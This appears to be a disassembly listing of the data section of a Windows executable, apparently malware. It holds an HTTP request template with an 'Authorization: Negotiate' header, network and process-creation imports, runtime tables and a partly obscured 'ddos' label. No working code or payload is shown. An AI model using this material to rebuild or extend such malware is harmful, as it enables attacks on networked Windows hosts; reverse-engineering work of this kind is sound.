dword_4211E0 dd 71AB1746h ; DATA XREF: sub_40282F+37r
; sub_40297A+EEr ...
dword_4211E4 dd 71AB3C22h ; DATA XREF: sub_40282F+46r
; sub_402DD1+49r ...
dword_4211E8 dd 71AB3E5Dh ; DATA XREF: sub_40282F+61r
; sub_402DD1+64r ...
dword_4211EC dd 71AB5690h ; DATA XREF: sub_40282F+7Er
; sub_40282F+135r ...
dword_4211F0 dd 71AB1AF4h ; DATA XREF: sub_40282F+D1r
; sub_40297A+26Dr ...
dword_4211F4 dd 71AB1A6Dh ; DATA XREF: sub_40282F+13Er
; sub_402DD1+154r ...
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40481B+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_421240 dq 1.388888888888889e-2 ; DATA XREF: sub_404630+2Fr
dbl_421248 dq 1.666666666666667e-1 ; DATA XREF: sub_404630+15r
dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_40467C+7Ar
dword_421258 dd 2 dup(0) ; DATA XREF: sub_40481B+4Do
; sub_404B91+57o ...
dword_421260 dd 0 ; DATA XREF: sub_40B32A+24r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BBF7+2B8r
; sub_40BBF7+2CDr ...
dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_413F12+1Er
dbl_421670 dq 1.0 ; DATA XREF: sub_415D04+6Cr
; sub_415E4B+6Cr ...
dword_421678 dd 0FFFFFFFFh, 417BEFh, 417C03h ; DATA XREF: seg001:00417B1Do
byte_421684 db 6 ; DATA XREF: sub_417D6C:loc_417DC3r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: seg001:off_437F1Co
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: seg001:off_437F18o
align 4
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_418AD0+8Eo
align 10h
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_418AD0+4Fo
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: seg001:off_43A16Co
align 10h
dbl_4217E0 dq 0.0 ; DATA XREF: sub_41A227+8Cr
; sub_41A227+ACr ...
dbl_4217E8 dq 4.195835e6 ; DATA XREF: sub_41A73C+Fr
dbl_4217F0 dq 3.145727e6 ; DATA XREF: sub_41A73C+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41A77A+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41A77Ao
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_41A8A1+93o
align 4
dword_421828 dd 0FFFFFFFFh, 41AF8Ch, 41AF96h, 0 ; DATA XREF: sub_41AF25+5o
dword_421838 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41B054+5o
dd offset loc_41B112
align 8
dd offset sub_41B0F0
dd offset sub_41B0FA
dword_421850 dd 0FFFFFFFFh, 41B342h, 41B346h, 0 ; DATA XREF: sub_41B18A+5o
dword_421860 dd 0FFFFFFFFh, 41B3A4h, 41B3ADh, 0 ; DATA XREF: sub_41B34E+5o
dword_421870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41B42C+5o
dd offset loc_41B47D
align 10h
dd offset loc_41B469
dd offset loc_41B46D
dword_421888 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41B482+5o
dd offset loc_41B4D3
align 8
dd offset loc_41B4BF
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0B4h, 41h, 0
dword_4218A0 dd 2 dup(0) ; DATA XREF: sub_41C639+36o
; sub_41DA93+39o ...
dword_4218A8 dd 0FFFFFFFFh, 41C749h, 41C74Dh, 0FFFFFFFFh, 41C7FDh, 41C801h
; DATA XREF: sub_41C639+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg001:off_43A5ACo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D7B5+119o
align 10h
asc_421B70 db 0Ah ; DATA XREF: sub_41D7B5+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D7B5+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41D7B5+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D7B5+7Do
align 10h
dword_421BB0 dd 0FFFFFFFFh, 41DB8Ch, 41DB90h ; DATA XREF: sub_41DA93+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41EA02+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41EF8E+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41EF8E+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41EF8E+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F8D8:loc_41F9CDo
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41F8D8+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41F8D8+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F8D8+ADo
align 10h
dword_421C50 dd 0FFFFFFFFh, 4202D0h, 4202D4h, 0FFFFFFFFh, 42033Fh, 420343h
; DATA XREF: sub_420119+5o
dd 421D78h
off_421C6C dd offset loc_4208A8 ; DATA XREF: sub_4206B0+4Do
; sub_4208C4+Co
dd offset sub_42076E
dd offset sub_42088B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_4206B0+1Eo
dd offset dword_421DB0
off_421C8C dd offset loc_4207D5 ; DATA XREF: sub_42070A+4Eo
; sub_420798+11o ...
dd offset sub_42076E
dd offset sub_42077B
dword_421C98 dd 0FFFFFFFFh ; DATA XREF: sub_42070A+3Br
; sub_4207F1+34r
dd offset dword_421E00
off_421CA0 dd offset loc_420990 ; DATA XREF: sub_4208DC+4Do
; sub_4209AC+Co
dd offset sub_42076E
dd offset sub_420973
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4208DC+1Eo
dd offset dword_421E30
off_421CC8 dd offset sub_420A12 ; DATA XREF: sub_420A2E+8o
; sub_420A6B+8o ...
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0Ah, 42h, 0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: seg001:00420AD2o
align 4
dd offset dword_421E78
off_421CE8 dd offset loc_420AED ; DATA XREF: sub_420AD8o
; seg001:off_43ACD0o ...
align 10h
dword_421CF0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420B09+Eo
dd 3, 19930520h, 2 dup(0)
off_421D10 dd offset off_43ACD0 ; DATA XREF: seg001:00421D60o
; seg001:00421D94o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_421D28 dd offset off_43ACE8 ; DATA XREF: seg001:00421D5Co
; seg001:00421D90o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_421D40 dd offset off_43AD08 ; DATA XREF: seg001:00421D58o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D40
dd offset off_421D28
dd offset off_421D10
dd 0
db 0 ; DATA XREF: seg001:00421D88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 421D58h, 3 dup(0)
dd offset off_43AD08
dd offset unk_421D68
align 10h
dd offset off_421D28
dd offset off_421D10
dword_421D98 dd 4 dup(0) ; DATA XREF: seg001:00421DC0o
dd 2, 421D90h
dword_421DB0 dd 3 dup(0) ; DATA XREF: seg001:00421C88o
dd offset off_43ACE8
dd offset dword_421D98+8
align 8
off_421DC8 dd offset off_43AD28 ; DATA XREF: seg001:00421DE0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421DC8
dd offset off_421D28
dd offset off_421D10
dword_421DEC dd 3 dup(0) ; DATA XREF: seg001:00421E10o
dd 3, 421DE0h
dword_421E00 dd 3 dup(0) ; DATA XREF: seg001:00421C9Co
dd offset off_43AD28
dd offset dword_421DEC+4
dd offset off_421D10
dword_421E18 dd 4 dup(0) ; DATA XREF: seg001:00421E40o
dd 1, 421E14h
dword_421E30 dd 3 dup(0) ; DATA XREF: seg001:00421CC4o
dd offset off_43ACD0
dd offset dword_421E18+8
align 8
off_421E48 dd offset off_43AD48 ; DATA XREF: seg001:00421E60o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421E48
dd 0
db 0 ; DATA XREF: seg001:00421E88o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 421E60h
dword_421E78 dd 3 dup(0) ; DATA XREF: seg001:00421CE4o
dd offset off_43AD48
dd offset unk_421E68
align 10h
dd 0FFFFFFFFh, 420B4Ch, 0
dd offset sub_420B44
dword_421EA0 dd 19930520h, 2, 421E90h, 4 dup(0) ; DATA XREF: seg001:loc_420B63o
dd 0FFFFFFFFh, 420B70h, 0
dd offset loc_420B78
dword_421ECC dd 19930520h, 2, 421EBCh, 4 dup(0) ; DATA XREF: seg001:loc_420B80o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_404DF7
align 10h
dd 2 dup(1), 421EF8h
dword_421F1C dd 19930520h, 2, 421EE8h, 1, 421F08h, 3 dup(0)
; DATA XREF: seg001:loc_420B8Co
dd offset off_43ACD0
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 420A6Bh, 2 dup(0)
dd offset off_43ACE8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4207F1h, 2 dup(0)
dd offset off_43AD08
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4208C4h, 0
dword_421F98 dd 3, 421F78h, 421F58h, 421F38h ; DATA XREF: seg001:00421FB4o
dword_421FA8 dd 0 ; DATA XREF: sub_4206B0+47o
; sub_42088B+12o
dd offset sub_42084E
dd 0
dd offset dword_421F98
dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF: seg001:loc_420BA0o
dd 0FFFFFFFFh, 420B98h
dword_421FE0 dd 19930520h, 1, 422000h, 5 dup(0) ; DATA XREF: seg001:loc_420BB4o
dword_422000 dd 0FFFFFFFFh, 420BACh, 2, 421F58h, 421F38h, 0 ; DATA XREF: seg001:00422024o
dword_422018 dd 0 ; DATA XREF: sub_42077B+12o
dd offset sub_420798
dd 0
dd offset dword_422000+8
dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF: seg001:loc_420BC8o
dd 0FFFFFFFFh, 420BC0h
dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF: seg001:loc_420BDCo
dd 0FFFFFFFFh, 420BD4h
dword_422078 dd 19930520h, 1, 422098h, 5 dup(0) ; DATA XREF: seg001:loc_420BF0o
dd 0FFFFFFFFh, 420BE8h, 0
dd offset off_43AD28
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4209ACh, 0
dword_4220C0 dd 3, 4220A0h, 421F58h, 421F38h ; DATA XREF: seg001:004220DCo
dword_4220D0 dd 0 ; DATA XREF: sub_4208DC+47o
; sub_420973+12o
dd offset sub_420936
dd 0
dd offset dword_4220C0
dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF: seg001:loc_420C04o
dd 0FFFFFFFFh, 420BFCh
dword_422108 dd 19930520h, 1, 422128h, 5 dup(0) ; DATA XREF: seg001:loc_420C18o
dd 0FFFFFFFFh, 420C10h, 2231Ch, 2 dup(0)
dd 22368h, 211B0h, 2216Ch, 2 dup(0)
dd 22B0Eh, 21000h, 5 dup(0)
dd 226D8h, 22AF4h, 22AE2h, 22AD0h, 22AC0h, 22AB0h, 22AA0h
dd 22A82h, 22A6Eh, 22A5Eh, 22A4Ch, 22A3Ah, 22A2Ch, 22A1Ch
dd 22A0Ah, 229F0h, 229D8h, 229BEh, 22374h, 22382h, 22392h
dd 223ACh, 223C8h, 223DEh, 223EEh, 223F6h, 2240Ch, 22418h
dd 22426h, 22432h, 22446h, 22454h, 2246Ah, 2247Ch, 2248Eh
dd 2249Eh, 224AEh, 224BCh, 224D2h, 224DEh, 224F6h, 22510h
dd 22520h, 22532h, 22544h, 2255Ch, 22574h, 2259Ch, 225B4h
dd 225C4h, 225D6h, 225EAh, 225FCh, 2260Ch, 2261Ah, 2262Ch
dd 2263Ch, 22652h, 22660h, 2266Eh, 22680h, 2269Ch, 226B2h
dd 226C2h, 226E8h, 226FAh, 2270Eh, 2271Ch, 2272Ch, 22742h
dd 22750h, 2275Eh, 2276Ch, 22782h, 2278Eh, 227A4h, 227B4h
dd 227C6h, 227D2h, 227E8h, 227FCh, 22810h, 22822h, 22836h
dd 22842h, 2284Eh, 2285Ah, 22874h, 22884h, 22892h, 228A4h
dd 228B6h, 228C4h, 228DEh, 228ECh, 228FAh, 22908h, 22918h
dd 22928h, 2293Ah, 22946h, 22956h, 22966h, 22972h, 2297Ch
dd 22988h, 229A4h, 0
dd 80000074h, 80000073h, 80000015h, 8000000Ah, 80000002h
dd 8000000Dh, 80000001h, 80000034h, 80000016h, 80000012h
dd 80000097h, 8000000Bh, 80000009h, 80000017h, 80000004h
dd 80000010h, 80000013h, 80000003h, 0
dd 5F325357h, 642E3233h, 6C6Ch, 784500B0h, 68547469h, 64616572h
dd 1D50000h, 54746547h, 436B6369h, 746E756Fh, 2990000h
aQueryperform_1 db 'QueryPerformanceCounter',0
db 9Ah ; š
db 2, 51h, 75h
aEryperformance db 'eryPerformanceFrequency',0
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
dw 16Bh
aGetlocaltime db 'GetLocalTime',0
align 2
dw 349h
aSleep db 'Sleep',0
dw 26Bh
aMultibytetowid db 'MultiByteToWideChar',0
dd 655202ABh, 69466461h, 656Ch, 6C43002Eh, 4865736Fh, 6C646E61h
dd 3970065h, 74697257h, 6C694665h, 35B0065h
aTransactnamedp db 'TransactNamedPipe',0
aM db 'M',0
aCreatefilea db 'CreateFileA',0
db 75h ; u
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 1D6h
aGettimeformata db 'GetTimeFormatA',0
align 4
db 3Fh ; ?
db 1, 47h, 65h
aTdateformata db 'tDateFormatA',0
align 2
dw 169h
aGetlasterror db 'GetLastError',0
align 2
aI_0 db 'i',0
aCreatethread db 'CreateThread',0
align 2
dw 15Bh
aGetfilesize db 'GetFileSize',0
db 56h ; V
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
db 'Å',0
aFindclose db 'FindClose',0
db '¼',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db '»',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ó',0
aFindnextfilea db 'FindNextFileA',0
db 'É',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 310h
aSetfilepointer db 'SetFilePointer',0
align 4
db 47h ; G
db 2, 4Ch, 65h
aAvecriticalsec db 'aveCriticalSection',0
align 4
aP db '',0
aEntercriticals db 'EnterCriticalSection',0
align 4
db 1Ah
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSectionAndSpinCount',0
aZ db 'z',0
aDeletecritical db 'DeleteCriticalSection',0
db 48h ; H
db 2, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
align 4
db 98h ; ˜
db 1, 47h, 65h
aTprocaddress db 'tProcAddress',0
align 2
dw 177h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
db 'ê',0
aFormatmessagea db 'FormatMessageA',0
align 4
db 0
db 2, 47h, 6Ch
aObalunlock db 'obalUnlock',0
align 4
db 0F9h ; ù
db 1, 47h, 6Ch
aOballock db 'obalLock',0
align 2
dw 365h
aUnmapviewoffil db 'UnmapViewOfFile',0
db 5Eh ; ^
db 2, 4Dh, 61h
aPviewoffile db 'pViewOfFile',0
aN db 'N',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 314h
aSetfiletime db 'SetFileTime',0
db 5Dh ; ]
db 1, 47h, 65h
aTfiletime db 'tFileTime',0
db '`',0
aCreateprocessa db 'CreateProcessA',0
align 10h
db '²',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
db 0Eh
db 3, 53h, 65h
aTfileattribu_0 db 'tFileAttributesA',0
align 2
retf
; ---------------------------------------------------------------------------
db 1
aGettemppatha db 'GetTempPathA',0
align 2
dw 152h
aGetexitcodepro db 'GetExitCodeProcess',0
align 4
dd 65500287h, 614E6B65h, 5064656Dh, 657069h, 7544008Ch
dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentproc db 'GetCurrentProcess',0
a__0 db '_',0
aCreatepipe db 'CreatePipe',0
align 4
db 0DFh ; ß
db 1, 47h, 65h
aTversionexa db 'tVersionExA',0
db 0FAh ; ú
db 1, 47h, 6Ch
aObalmemorystat db 'obalMemoryStatus',0
align 2
aP_0 db '¯',0
aExitprocess db 'ExitProcess',0
db '|',0
aDeletefilea db 'DeleteFileA',0
dw 27Ch
aOpenprocess db 'OpenProcess',0
db 3Bh ; ;
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcessId',0
db '=',0
aCopyfilea db 'CopyFileA',0
dw 385h
aWaitforsingleo db 'WaitForSingleObject',0
aZ_0 db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 4
dd 65540352h, 6E696D72h, 54657461h, 61657268h, 2640064h
dd 65766F4Dh, 656C6946h, 3890041h
aWidechartomult db 'WideCharToMultiByte',0
dd 6547010Ch, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65540351h
dd 6E696D72h, 50657461h, 65636F72h, 7373h, 6547016Ch, 636F4C74h
dd 49656C61h, 416F666Eh, 1700000h, 4C746547h, 6369676Fh
dd 72446C61h, 73657669h, 2060000h, 70616548h, 6F6C6C41h
dd 20C0063h, 70616548h, 65657246h, 2CC0000h, 556C7452h
dd 6E69776Eh, 1D80064h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
db 0BEh ; ¾
db 1, 47h, 65h
aTsystemtime db 'tSystemTime',0
db 10h
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 1AFh
aGetstartupinfo db 'GetStartupInfoA',0
db 8
db 1, 47h, 65h
aTcommandlinea db 'tCommandLineA',0
dw 1DEh
aGetversion db 'GetVersion',0
align 4
db 50h ; P
db 1, 47h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 20Ah
aHeapdestroy db 'HeapDestroy',0
db 8
db 2, 48h, 65h
aApcreate db 'apCreate',0
align 2
dw 378h
aVirtualfree db 'VirtualFree',0
db 75h ; u
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 4
db 2Ch ; ,
db 2, 49h, 73h
aBadwriteptr db 'BadWritePtr',0
db 9Dh ;
db 2, 52h, 61h
aIseexception db 'iseException',0
align 2
dw 212h
aHeapsize db 'HeapSize',0
align 2
dw 23Ah
aLcmapstringa db 'LCMapStringA',0
align 2
dw 23Bh
aLcmapstringw db 'LCMapStringW',0
align 2
dw 0FCh
aGetcpinfo db 'GetCPInfo',0
dw 0F5h
aGetacp db 'GetACP',0
align 4
db 8Bh ; ‹
db 1, 47h, 65h
aToemcp db 'tOEMCP',0
align 4
db 62h ; b
db 3, 55h, 6Eh
aHandledexcepti db 'handledExceptionFilter',0
align 4
aA_0 db 'í',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
aU db 'î',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
db 4Dh ; M
db 1, 47h, 65h
aTenvironmentst db 'tEnvironmentStrings',0
db 4Fh ; O
db 1, 47h, 65h
aTenvironment_0 db 'tEnvironmentStringsW',0
align 2
dw 319h
aSethandlecount db 'SetHandleCount',0
align 4
dd 654701B1h, 64745374h, 646E6148h, 656Ch, 6547015Eh, 6C694674h
dd 70795465h, 1B20065h, 53746547h, 6E697274h, 70795467h
dd 4165h, 654701B5h, 72745374h, 54676E69h, 57657079h, 32C0000h
dd 53746553h, 61486474h, 656C646Eh, 0E50000h, 73756C46h
dd 6C694668h, 66754265h, 73726566h, 33D0000h
aSetunhandledex db 'SetUnhandledExceptionFilter',0
db 29h ; )
db 2, 49h, 73h
aBadreadptr db 'BadReadPtr',0
align 10h
db 26h ; &
db 2, 49h, 73h
aBadcodeptr db 'BadCodePtr',0
align 10h
db 5
db 3, 53h, 65h
aTendoffile db 'tEndOfFile',0
align 10h
a4 db '4',0
aComparestringa db 'CompareStringA',0
align 2
a5 db '5',0
aComparestringw db 'CompareStringW',0
align 4
db 8
db 3, 53h, 65h
aTenvironment_1 db 'tEnvironmentVariableA',0
aKernel32_dll db 'KERNEL32.dll',0
align 4
dd 139h dup(0)
dword_423000 dd 0 ; DATA XREF: sub_41781A+1Fo
dd offset sub_4036B6
dd offset sub_404EA5
dd offset sub_4209C4
dword_423010 dd 0 ; DATA XREF: sub_41781A+1Ao
dword_423014 dd 0 ; DATA XREF: sub_41781A+10o
dd offset sub_4166E2
dd offset sub_41CC21
dd offset sub_41D972
dd offset sub_41E7E4
dword_423028 dd 0 ; DATA XREF: sub_41781A:loc_417825o
dword_42302C dd 0 ; DATA XREF: sub_417869+65o
dd offset sub_41DA17
dword_423034 dd 0 ; DATA XREF: sub_417869:loc_4178C9o
dword_423038 dd 0 ; DATA XREF: sub_417869+76o
dd offset sub_41E7F5
dword_423040 dd 4 dup(0) ; DATA XREF: sub_417869:loc_4178DAo
unk_423050 db 2 ; DATA XREF: sub_401000+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
